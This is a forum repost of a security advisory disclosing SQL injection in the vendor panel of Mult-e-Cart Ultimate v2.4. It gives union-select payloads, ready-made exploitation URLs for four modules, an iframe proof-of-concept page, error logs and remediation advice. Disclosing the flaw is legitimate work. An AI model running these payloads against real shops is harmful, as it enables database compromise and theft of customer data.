Mult-e-Cart Ultimate 2.4 SQL Injection

#425
Topic created · 1 Posts · 0 Views
  • Mult-e-Cart Ultimate version 2.4 suffers from a remote SQL injection vulnerability.
    MD5 | 290a54c02e3d08257acba63b4ed1492c
    Download

    Document Title:  
    ===============  
    Mult-e-Cart Ultimate v2.4 - SQL Injection Vulnerability  
    References (Source):  
    ====================  
    https://www.vulnerability-lab.com/get_content.php?id=2306  
    Release Date:  
    =============  
    2021-10-22  
    Vulnerability Laboratory ID (VL-ID):  
    ====================================  
    2306  
    Common Vulnerability Scoring System:  
    ====================================  
    7  
    Vulnerability Class:  
    ====================  
    SQL Injection  
    Current Estimated Price:  
    ========================  
    1.000€ - 2.000€  
    Product & Service Introduction:  
    ===============================  
    Digital Multivendor Marketplace Online Store - eShop CMS  
    (Source: https://ultimate.multecart.com/ & https://www.techraft.in/ )  
    Abstract Advisory Information:  
    ==============================  
    The vulnerability laboratory core research team discovered multiple sql-injection web vulnerabilities in the Mult-e-Cart Ultimate v2.4 (v2021) web-application.  
    Affected Product(s):  
    ====================  
    Techraft  
    Product: Digital Multivendor Marketplace Online Store v2.4 - eShop CMS (Web-Application)  
    Vulnerability Disclosure Timeline:  
    ==================================  
    2021-10-22: Public Disclosure (Vulnerability Laboratory)  
    Discovery Status:  
    =================  
    Published  
    Exploitation Technique:  
    =======================  
    Remote  
    Severity Level:  
    ===============  
    High  
    Authentication Type:  
    ====================  
    Restricted Authentication (Moderator Privileges)  
    User Interaction:  
    =================  
    No User Interaction  
    Disclosure Type:  
    ================  
    Independent Security Research  
    Technical Details & Description:  
    ================================  
    Multiple classic sql-injection web vulnerabilities has been discovered in the Mult-e-Cart Ultimate v2.4 (v2021) web-application.  
    The web vulnerability allows remote attackers to inject or execute own sql commands to compromise the database management system.  
    The vulnerabilities are located in the `id` parameter of the `view` and `update` function. The vulnerable modules are `inventory`,  
    `customer`, `vendor` and `order`. Remote attackers with a vendor shop account are able to exploit the vulnerable id parameter to  
    execute malicious sql commands. The request method to inject is get and the attack vector is located on the client-side. The remote  
    vulnerability is a classic order by sql-injection. The issue is exploitable with one of the two vendor roles or higher privileged  
    roles like admin.  
    Exploitation of the remote sql injection vulnerabilities requires no user interaction and a privileged vendor- or admin role user account.  
    Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.  
    Request Method(s):  
    [+] GET  
    Vulnerable Module(s):  
    [+] inventory/inventory/update  
    [+] /customer/customer/view  
    [+] /vendor/vendor/view  
    [+] /order/sub-order/view-order  
    Vulnerable Parameter(s):  
    [+] id  
    Proof of Concept (PoC):  
    =======================  
    The remote sql injection web vulnerabilities can be exploited by remote attackers with privileged backend panel access without user interaction.  
    For security demonstration or to reproduce the remote sql-injection web vulnerability follow the provided information and steps below to continue.  
    PoC: Payloads  
    1' union select 1,2,3,4,@@version--&edit=t  
    1' union select 1,2,3,4,@@database--&edit=t  
    PoC: Exploitation  
    https://multecartultimate.localhost:8080/inventory/inventory/update?id=1' union select 1,2,3,4,5--&edit=t  
    https://multecartultimate.localhost:8080/customer/customer/view?id=1' union select 1,2,3,4,5--&edit=t  
    https://multecartultimate.localhost:8080/vendor/vendor/view?id=1' union select 1,2,3,4,5--&edit=t  
    https://multecartultimate.localhost:8080/order/sub-order/view-order?id=' union select 1,2,3,4,5  
    -  
    https://multecartultimate.localhost:8080/inventory/inventory/update?id=1' union select 1,2,3,4,5&edit=t  
    https://multecartultimate.localhost:8080/customer/customer/view?id=1' union select 1,2,3,4,5&edit=t  
    https://multecartultimate.localhost:8080/vendor/vendor/view?id=1' union select 1,2,3,4,5&edit=t  
    https://multecartultimate.localhost:8080/order/sub-order/view-order?id=' union select 1,2,3,4,5  
    PoC: Exploit  
    <html>  
    <head><body>  
    <title>Mult-E-Cart Ultimate - SQL Injection PoC</title>  
    <iframe="https://multecartultimate.localhost:8080/inventory/inventory/update?id=1' union select 1,2,3,4,@@database--&edit=t" width="400" height="400"><br>  
    <iframe="https://multecartultimate.localhost:8080/customer/customer/view?id=1' union select 1,2,3,4,@@database--&edit=t" width="400" height="400"><br>  
    <iframe="https://multecartultimate.localhost:8080/vendor/vendor/view?id=1' union select 1,2,3,4,@@database--&edit=t" width="400" height="400"><br>  
    <iframe="https://multecartultimate.localhost:8080/order/sub-order/view-order?id=' union select 1,2,3,4,@@database--" width="400" height="400"><br>  
    <br>  
    <iframe="https://multecartultimate.localhost:8080/inventory/inventory/update?id=1' union select 1,2,3,4,@@version--&edit=t" width="400" height="400"><br>  
    <iframe="https://multecartultimate.localhost:8080/customer/customer/view?id=1' union select 1,2,3,4,@@version--&edit=t" width="400" height="400"><br>  
    <iframe="https://multecartultimate.localhost:8080/vendor/vendor/view?id=1' union select 1,2,3,4,@@version--&edit=t" width="400" height="400"><br>  
    <iframe="https://multecartultimate.localhost:8080/order/sub-order/view-order?id=' union select 1,2,3,4,@@version--" width="400" height="400">  
    </body></head>  
    </html>  
    --- SQL Error Exception Handling Logs ---  
    SQLSTATE[42S22]: Column not found: 1054 Unknown column '100' in 'order clause'  
    The SQL being executed was: SELECT * FROM `tbl_inventory` WHERE id=1 order by 100--  
    -  
    PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax;  
    check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1 in /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php:1299  
    -  
    Stack trace:  
    #0 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(1299): PDOStatement->execute()  
    #1 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(1165): yiidbCommand->internalExecute('SELECT * FROM `...')  
    #2 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(421): yiidbCommand->queryInternal('fetch', NULL)  
    #3 /home/test/MulteCart/vendor/yiisoft/yii2/db/Query.php(287): yiidbCommand->queryOne()  
    #4 /home/test/MulteCart/vendor/yiisoft/yii2/db/ActiveQuery.php(304): yiidbQuery->one(NULL)  
    #5 /home/test/MulteCartUltimate/multeback/modules/inventory/controllers/InventoryController.php(536): yiidbActiveQuery->one()  
    #6 /home/test/MulteCartUltimate/multeback/modules/inventory/controllers/InventoryController.php(300): multebackmodulesinventorycontrollersInventoryController->findModel('-1'')  
    #7 [internal function]: multebackmodulesinventorycontrollersInventoryController->actionUpdate('-1'')  
    #8 /home/test/MulteCart/vendor/yiisoft/yii2/base/InlineAction.php(57): call_user_func_array(Array, Array)  
    #9 /home/test/MulteCart/vendor/yiisoft/yii2/base/Controller.php(181): yiibaseInlineAction->runWithParams(Array)  
    #10 /home/test/MulteCart/vendor/yiisoft/yii2/base/Module.php(534): yiibaseController->runAction('update', Array)  
    #11 /home/test/MulteCart/vendor/yiisoft/yii2/web/Application.php(104): yiibaseModule->runAction('inventory/inven...', Array)  
    #12 /home/test/MulteCart/vendor/yiisoft/yii2/base/Application.php(392): yiiwebApplication->handleRequest(Object(yiiwebRequest))  
    #13 /home/test/MulteCartUltimate/multeback/web/index.php(153): yiibaseApplication->run()  
    #14 {main}  
    -  
    Next yiidbException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax;  
    check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1  
    The SQL being executed was: SELECT * FROM `tbl_inventory` WHERE id=-1' in /home/test/MulteCart/vendor/yiisoft/yii2/db/Schema.php:678  
    -  
    Stack trace:  
    #0 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(1304): yiidbSchema->convertException(Object(PDOException), 'SELECT * FROM `...')  
    #1 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(1165): yiidbCommand->internalExecute('SELECT * FROM `...')  
    #2 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(421): yiidbCommand->queryInternal('fetch', NULL)  
    #3 /home/test/MulteCart/vendor/yiisoft/yii2/db/Query.php(287): yiidbCommand->queryOne()  
    #4 /home/test/MulteCart/vendor/yiisoft/yii2/db/ActiveQuery.php(304): yiidbQuery->one(NULL)  
    #5 /home/test/MulteCartUltimate/multeback/modules/inventory/controllers/InventoryController.php(536): yiidbActiveQuery->one()  
    #6 /home/test/MulteCartUltimate/multeback/modules/inventory/controllers/InventoryController.php(300): multebackmodulesinventorycontrollersInventoryController->findModel('-1'')  
    #7 [internal function]: multebackmodulesinventorycontrollersInventoryController->actionUpdate('-1'')  
    #8 /home/test/MulteCart/vendor/yiisoft/yii2/base/InlineAction.php(57): call_user_func_array(Array, Array)  
    #9 /home/test/MulteCart/vendor/yiisoft/yii2/base/Controller.php(181): yiibaseInlineAction->runWithParams(Array)  
    #10 /home/test/MulteCart/vendor/yiisoft/yii2/base/Module.php(534): yiibaseController->runAction('update', Array)  
    #11 /home/test/MulteCart/vendor/yiisoft/yii2/web/Application.php(104): yiibaseModule->runAction('inventory/inven...', Array)  
    #12 /home/test/MulteCart/vendor/yiisoft/yii2/base/Application.php(392): yiiwebApplication->handleRequest(Object(yiiwebRequest))  
    #13 /home/test/MulteCartUltimate/multeback/web/index.php(153): yiibaseApplication->run()  
    #14 {main}  
    Debug Array:  
    [0] => 42000  
    [1] => 1064  
    [2] => You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1  
    -  
    Reference(s):  
    https://multecartultimate.localhost:8080/vendor/vendor/view  
    https://multecartultimate.localhost:8080/customer/customer/view  
    https://multecartultimate.localhost:8080/inventory/inventory/update  
    https://multecartultimate.localhost:8080/order/sub-order/view-order  
    Solution - Fix & Patch:  
    =======================  
    The vulnerability can be resolved by the following description ...  
    1. Disable to display the sql errors for other users then the admin or pipe it into a local log file outside the panel ui  
    2. Use a prepared statement to protect the query against further injection attacks  
    3. Restrict the vulnerable id parameter to disallow usage of special chars of post and get method requests  
    4. Encode and escape the id content on get method request with the id parameter  
    Credits & Authors:  
    ==================  
    Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
    Disclaimer & Information:  
    =========================  
    The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,  
    either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab  
    or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits  
    or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do  
    not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.  
    We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.  
    Domains:    www.vulnerability-lab.com    www.vuln-lab.com        www.vulnerability-db.com  
    Services:   magazine.vulnerability-lab.com  paste.vulnerability-db.com       infosec.vulnerability-db.com  
    Social:      twitter.com/vuln_lab    facebook.com/VulnerabilityLab       youtube.com/user/vulnerability0lab  
    Feeds:      vulnerability-lab.com/rss/rss.php   vulnerability-lab.com/rss/rss_upcoming.php   vulnerability-lab.com/rss/rss_news.php  
    Programs:   vulnerability-lab.com/submit.php   vulnerability-lab.com/register.php  vulnerability-lab.com/list-of-bug-bounty-programs.php  
    Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.  
    Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other  
    media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other  
    information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or  
    edit our material contact ([[email protected]](/cdn-cgi/l/email-protection) or [[email protected]](/cdn-cgi/l/email-protection)) to get a ask permission.  
    Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™  
    --   
    VULNERABILITY LABORATORY (VULNERABILITY LAB)  
    RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE  
    LUDWIG-ERHARD STRAßE 4  
    34131 KASSEL - HESSEN  
    DEUTSCHLAND (DE)  
    

    Source: packetstormsecurity.com

Log in to reply